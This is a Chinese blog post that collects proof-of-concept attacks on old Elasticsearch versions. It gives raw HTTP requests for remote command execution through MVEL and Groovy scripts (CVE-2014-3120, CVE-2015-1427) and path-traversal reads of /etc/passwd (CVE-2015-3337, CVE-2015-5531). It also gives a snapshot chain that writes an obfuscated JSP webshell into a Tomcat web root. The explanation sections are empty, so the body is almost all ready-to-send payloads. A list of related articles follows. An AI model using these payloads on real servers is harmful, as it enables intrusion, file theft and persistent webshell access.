ElasticSearch漏洞合集及其POC合集

最新推荐文章于 2024-04-22 23:56:52 发布
最新推荐文章于 2024-04-22 23:56:52 发布
阅读量588 收藏
点赞数 1
文章标签： elasticsearch 大数据 搜索引擎 web安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_46626737/article/details/132404958
版权

1.ElasticSearch 命令执行漏洞（CVE-2014-3120）
        1）漏洞原理：
        2）操作技巧：
            POST /_search?pretty HTTP/1.1
            Host: 192.168.68.129:9200
            Pragma: no-cache
            Cache-Control: no-cache
            Upgrade-Insecure-Requests: 1
            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
            Accept-Encoding: gzip, deflate
            Accept-Language: zh-CN,zh;q=0.9
            Cookie: wp-settings-time-1=1692082910
            Connection: close
            Content-Type: application/x-www-form-urlencoded
            Content-Length: 25

            {
              "name": "phithon"
            }
                    
        
        
        
            POST /_search?pretty HTTP/1.1
            Host: 192.168.68.129:9200
            Pragma: no-cache
            Cache-Control: no-cache
            Upgrade-Insecure-Requests: 1
            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
            Accept-Encoding: gzip, deflate
            Accept-Language: zh-CN,zh;q=0.9
            Cookie: wp-settings-time-1=1692082910
            Connection: close
            Content-Type: application/x-www-form-urlencoded
            Content-Length: 369

            {
                "size": 1,
                "query": {
                  "filtered": {
                    "query": {
                      "match_all": {
                      }
                    }
                  }
                },
                "script_fields": {
                    "command": {
                        "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
                    }
                }
            }
        3）漏洞版本：<= v1.1.1
    2.ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞（CVE-2015-1427）
        1）漏洞原理：
        2）操作技巧：
            POST /website/blog/ HTTP/1.1
            Host: 192.168.68.129:9200
            Pragma: no-cache
            Cache-Control: no-cache
            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
            Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
            Referer: http://192.168.68.129:9200/
            Accept-Encoding: gzip, deflate
            Accept-Language: zh-CN,zh;q=0.9
            Cookie: wp-settings-time-1=1692082910
            Connection: close
            Content-Type: application/x-www-form-urlencoded
            Content-Length: 22

            {
              "name": "test"
            }
        
        
        
        
            POST /_search?pretty HTTP/1.1
            Host: 192.168.68.129:9200
            Pragma: no-cache
            Cache-Control: no-cache
            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
            Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
            Referer: http://192.168.68.129:9200/
            Accept-Encoding: gzip, deflate
            Accept-Language: zh-CN,zh;q=0.9
            Cookie: wp-settings-time-1=1692082910
            Connection: close
            Content-Type: application/text
            Content-Length: 156

            {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
        3）漏洞版本：<= v1.4.2
    3.ElasticSearch 目录穿越漏洞（CVE-2015-3337）
        1）漏洞原理：
        2）操作技巧：
            http://your-ip:9200/_plugin/head/../../../../../../../../../etc/passwd
        3）漏洞版本: <= v1.4.4
    4.ElasticSearch 目录穿越漏洞（CVE-2015-5531）
        1）漏洞原理：
        2）操作技巧：
            PUT /_snapshot/test HTTP/1.1
            Host: 192.168.68.129:9200
            Upgrade-Insecure-Requests: 1
            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
            Accept-Encoding: gzip, deflate
            Accept-Language: zh-CN,zh;q=0.9
            Cookie: wp-settings-time-1=1692082910
            Connection: close
            Content-Type: application/x-www-form-urlencoded
            Content-Length: 108

            {
                "type": "fs",
                "settings": {
                    "location": "/usr/share/elasticsearch/repo/test" 
                }
            }
            
            
            
            PUT /_snapshot/test2 HTTP/1.1
            Host: 192.168.68.129:9200
            Upgrade-Insecure-Requests: 1
            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
            Accept-Encoding: gzip, deflate
            Accept-Language: zh-CN,zh;q=0.9
            Cookie: wp-settings-time-1=1692082910
            Connection: close
            Content-Type: application/x-www-form-urlencoded
            Content-Length: 126

            {
                "type": "fs",
                "settings": {
                    "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
                }
            }
            
            
            http://192.168.68.129:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
        3）漏洞版本：1.6.1以下
    5.Elasticsearch写入webshell漏洞（WooYun-2015-110216）
        1）漏洞原理：
        2）操作技巧：
            POST /a.jsp/a.jsp/1 HTTP/1.1
            Host: 192.168.68.129:9200
            Cache-Control: max-age=0
            Upgrade-Insecure-Requests: 1
            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
            Accept-Encoding: gzip, deflate
            Accept-Language: zh-CN,zh;q=0.9
            Cookie: wp-settings-time-1=1692082910
            Connection: close
            Content-Type: application/x-www-form-urlencoded
            Content-Length: 228

            {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}
            
            
            
            
            
            PUT /_snapshot/a.jsp HTTP/1.1
            Host: 192.168.68.129:9200
            Cache-Control: max-age=0
            Upgrade-Insecure-Requests: 1
            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
            Accept-Encoding: gzip, deflate
            Accept-Language: zh-CN,zh;q=0.9
            Cookie: wp-settings-time-1=1692082910
            Connection: close
            Content-Type: application/x-www-form-urlencoded
            Content-Length: 107

            {
            "type": "fs",
            "settings": {
            "location": "/usr/local/tomcat/webapps/wwwroot/",
            "compress": false
            }
            }
            
            
            
            
            PUT /_snapshot/a.jsp/a.jsp HTTP/1.1
            Host: 192.168.68.129:9200
            Cache-Control: max-age=0
            Upgrade-Insecure-Requests: 1
            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
            Accept-Encoding: gzip, deflate
            Accept-Language: zh-CN,zh;q=0.9
            Cookie: wp-settings-time-1=1692082910
            Connection: close
            Content-Type: application/x-www-form-urlencoded
            Content-Length: 102

            {
                 "indices": "a.jsp",
                 "ignore_unavailable": "true",
                 "include_global_state": false
            }
            
            
            http://192.168.68.129:8080/wwwroot/indices/a.jsp/snapshot-a.jsp?f=4444
            http://192.168.68.129:8080/wwwroot/test.jsp
        3）漏洞版本：1.5.x以前

!QK
关注
SRC漏洞挖掘之信息收集
悦分享
07-08 1336
在SRC漏洞挖掘或渗透测试中，信息收集占很大一部分，能收集到别人收集不到的资产，就能挖到别人挖不到的洞。项目已整理Gitbook文档，方便阅览：Information Collection Handbook由此项目整理的SRC资产信息收集聚合网站：lovebear.top/info -- SRC信息收集导航知道目标域名之后，我们要做的第一件事情就是获取域名的注册信息，包括该域名的DNS服务器信息和注册人的联系信息等。Whois 查询Whois 简单来说，就是一个用来查询域名是否已经被注册，以及注册域名的详细
使用 Elastic Security 检测 CVE-2021-44228 (log4j2) 的漏洞利用
点火三周的专栏
12-12 5821
重要的提示 ： 要了解 Elastic 当前如何评估我们产品中此漏洞的内部风险，请参阅此处 概述 这篇博文提供了 CVE-2021-44228 的摘要，并为 Elastic Security 用户提供了检测，以发现他们环境中对该漏洞的主动利用。 随着我们了解更多信息，我们将持续提供更多的更新。截至 2021 年 12 月 11 日星期六，此版本是准确的。可以通过Log4j2的安全页面直接调查来自 Apache 的更新。 CVE-2021-44228 (Log4Shell) 摘要 Lo...
ElasticSearch 命令执行漏洞 CVE-2014-3120 漏洞测试
ADummy的博客
02-24 373
ElasticSearch 命令执行漏洞（CVE-2014-3120） by ADummy 0x00利用路线 ​ Burpsuite抓包—>java代码放入json—>有回显命令执行 0x01漏洞介绍 ​ 老版本ElasticSearch支持传入动态脚本（MVEL）来执行一些复杂的操作，而MVEL可执行Java代码，而且没有沙盒，所以我们可以直接执行任意代码。 MVEL执行命令的代码如下： import java.io.*; new java.util.Scanner(Runtime.g
Elasticsearch未授权访问漏洞
12-22 7294
　　Elasticsearch服务普遍存在一个未授权访问的问题，攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。 0x00 Elasticsearch 安装 前提，保证安装了JDK 1.7+ 下载地址：https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip (用迅雷打开下载，...
ElasticSearch命令执行漏洞(CVE-2014-3120)
ANOrange的博客
03-30 740
Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful web接口。 ElasticSearch 1.2版本之前支持动态脚本。漏洞是通过_search方法的参数传入恶意代码，远程执行任意MVEL表达式和Java代码。 影响版本：ES
ElasticSearch 命令执行漏洞（CVE-2014-3120），2024年最新37岁程序员被裁
2401_83974607的博客
04-13 596
由于这是一个历史上的漏洞，如果你现在正在使用的 Elasticsearch 是最新的稳定版本，那么你应该已经不受此漏洞的影响。不过，仍然建议定期更新你的 Elasticsearch 实例以获取最新的安全修复和其他改进。
2024HVV在即| 最新漏洞CVE库(1.5W)与历史漏洞POC总结分享！
最新发布
记录开发和安全学习过程中的点点滴滴
04-22 2188
也快到护网的时间了,每年的护网都是一场攻防实战的盛宴,那么漏洞库就是攻防红蓝双方人员的弹药库,红队人员可以通过工具进行监测是否存在历史漏洞方便快速打点,而蓝队则可以对资产进行梳理和监测历史漏洞,及时处理和修复,做好准备.
Penetration_Testing_POC-About 渗透测试有关的POC、EXP、脚本、提权、小工具等
weixin_46280935的博客
09-10 5703
Penetration_Testing_POC 搜集有关渗透测试中用到的POC、脚本、工具、文章等姿势分享，作为笔记吧，欢迎补充。 Penetration_Testing_POC 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone Web APP 提权辅助相关 PC tools-小工具集合 文章/书籍/教程相关 说明 请善用搜索[Ctrl+F]查找 IOT Device&Mobile Phone 天翼创维awifi路由器存在多处未授权访问漏
2022年护网行动漏洞库
06-08
- **Apache Struts2、Weblogic、JBoss、Tomcat、ElasticSearch、Apache家族、Fastjson、WSO2、IIS、Spring**: 这些中间件在企业级应用中极为常见，它们的安全性直接影响到业务的稳定性和数据的安全。例如，Struts2的...
mysql漏洞如何打补丁_漏洞治理（漏洞情报）调研报告
weixin_39851457的博客
11-23 1496
君哥有话说漏洞运营和安全资产运营是快速收敛攻击面的最有效的两个措施，需要企业安全建设负责人首要关注，并投入大量精力确保漏洞管理的各项细节落地，包括漏洞发现、漏洞推修、漏洞验证等各个环节，这里面的细节很多，比如覆盖率、漏扫范围、漏扫技术细节(未登陆扫描、被动式扫描)、漏扫类别、漏洞修复方式、不能修的漏洞补偿性措施、漏洞考核、避免历史漏洞重现等等。推荐泉哥的一本书《漏洞战争：软件漏洞分析精要...
ElasticSearch 命令执行漏洞（CVE-2014-3120）
EnerY3的博客
12-12 947
Elasticsearch 命令执行漏洞（CVE-2014-3120），它允许攻击者通过发送精心构造的请求到 Elasticsearch 服务器来执行任意操作系统命令。这个漏洞存在于 Elasticsearch 的早期版本中，并且在较新的版本中已经被修复。
Elasticsearch写入webshell漏洞（WooYun-2015-110216)
weixin_45366453的博客
07-02 440
Elasticsearch写入webshell漏洞（WooYun-2015-110216）
ElasticSearch单机或集群未授权访问漏洞
爱辉弟的博客
12-18 4102
ElasticSearch未授权访问漏洞，使用系统防火墙来做限制只允许ES集群和Server节点的IP来访问漏洞节点的9200端口，其他的全部拒绝。并在ES节点上设置用户密码
ElasticSearch漏洞复现
qq_63980959的博客
05-19 3674
Elasticsearch 是一个非常强大的搜索引擎。它目前被广泛地使用于各个 IT 公司。Elasticsearch 是由 Elastic 公司创建。它的代码位于 GitHub - elastic/elasticsearch: Free and Open, Distributed, RESTful Search Engine。Elasticsearch 是一个分布式、免费和开放的搜索和分析引擎，适用于所有类型的数据，包括文本、数字、地理空间、结构化和非结构化数据。
ElasticSearch 命令执行漏洞（CVE-2014-3120）(1)
m0_61549740的博客
04-07 253
由于这是一个历史上的漏洞，如果你现在正在使用的 Elasticsearch 是最新的稳定版本，那么你应该已经不受此漏洞的影响。BurpSuite抓包，首先，该漏洞需要Elasticsearch中至少存在一条数据，所以我们需要先创建一条数据，所以把抓到的GET包替换成POST包。对于受影响的版本，需要尽快更新到包含补丁的新版本以防止被利用。T行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！因篇幅有限，仅展示部分资料。
Elasticsearch 漏洞收集总结
sojrs_sec的博客
12-31 7768
一：未授权访问获取敏感信息 /_cat/indices /_plugin/sql/ /_nodes /_search /_search?preety /_status 二：目录遍历漏洞（cve-2015-3337) 安装“site”功能的插件后，插件目录使用…/向上跳转，导致目录穿越漏洞，可读取任意文件。未安装site功能插件的不受影响 /_cat/plugins：查看所有已安装的插件 一般复现...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值